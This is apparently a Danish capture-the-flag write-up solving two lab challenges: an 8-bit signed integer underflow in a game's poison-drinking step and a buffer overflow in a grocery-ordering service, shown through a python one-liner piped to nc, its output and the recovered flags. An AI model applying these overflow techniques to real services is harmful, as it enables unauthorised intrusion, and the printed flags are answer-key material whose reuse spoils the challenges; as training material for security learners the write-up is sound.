Ud fra opgavebeskrivelsen, giver det mening at se på metoden, som bruges til at drikke gift. Formentlig kan vi enten drikke en negativ mængde gift, eller vi kan drikke så meget, at vi fremprovokerer et integer underflow.

Efter at forsøge at drikke -1 gift, melder programmet at vi ikke kan drikke “så meget” gift. I stedet forsøger vi at drikke mere gift, end vi har HP (pt. 90).

Efter at fedte lidt rundt med programmet, viser det sig hurtigt, at HP (Health) er defineret som en 8-bit signed int. Det betyder at den kan have en værdi mellem -128 og 127.

\[\frac{2^8}{2}=\frac{256}{2}=128\]

Derudover skal vores værdi kunne antage 0, hvilket gør at grænserne for værdien er. -128 og 127.

Vi kan derfor hurtigt regne ud, hvor meget vi gift vi skal drikke, for at få max-HP:

\[max=128+HP\]

Efter at have angrebet monsteret nok gange (og drukket gift ind i mellem når mit HP for var lavt), får vi følgende besked frem:

-KAPOW!, monster hit with attack! 
You beat the mosnter, and your flag is: DDC{j8oZfWrouvq9}

Flag: DDC{j8oZfWrouvq9}


Grocery Shopper

Sværhedsgrad: Meget Let
Haaukins API: Nej
Beskrivelse:

Den nye Covid-19-bølge har ramt os! Nu skal du bestille dine dagligvarer online, heldigvis har din lokale købmand netop udviklet et CLI-værktøj til bestilling! Få adgang til det via nc groceryshopper.hkn 9000

$ nc groceryshopper.hkn 9000
Welcome to the local grocery store ordering system
Due to Covid-19 we will prefer we have less people in our stores, to minimize the spread of the Covid-19 Virus

Enter your name: John
Enter your address: Kastanjevej 999
Enter EAN number: 123-456-789
Enter amount to order: 9001

You ordered 9001 packages of the EAN #

Thank you for ordering from your local grocery store!
We will have your groceries delivered as soon as possible to the following recepient and address:
John
Kastanjevej 999

Vi har altså 4 forskellige parametre at pille ved, når vi skal forsøge at exploite dette program.

Til at starte med forsøgte jeg at bruge format string exploit. Dette gav ikke noget resultat, derefter forsøgte jeg mig med et buffer overflow, hvilket gav følgende resultat:

$ python -c 'for _ in range(4): print("A"*50)' | nc groceryshopper.hkn 9000
Welcome to the local grocery store ordering system
Due to Covid-19 we will prefer we have less people in our stores, to minimize the spread of the Covid-19 Virus

Enter your name: Enter your address: Enter EAN number: Enter amount to order: 
You ordered AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA packages of the EAN #DDC{C0v1D-5h0pp3R}

Thank you for ordering from your local grocery store!
We will have your groceries delivered as soon as possible to the following recepient and address:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Flag: DDC{C0v1D-5h0pp3R}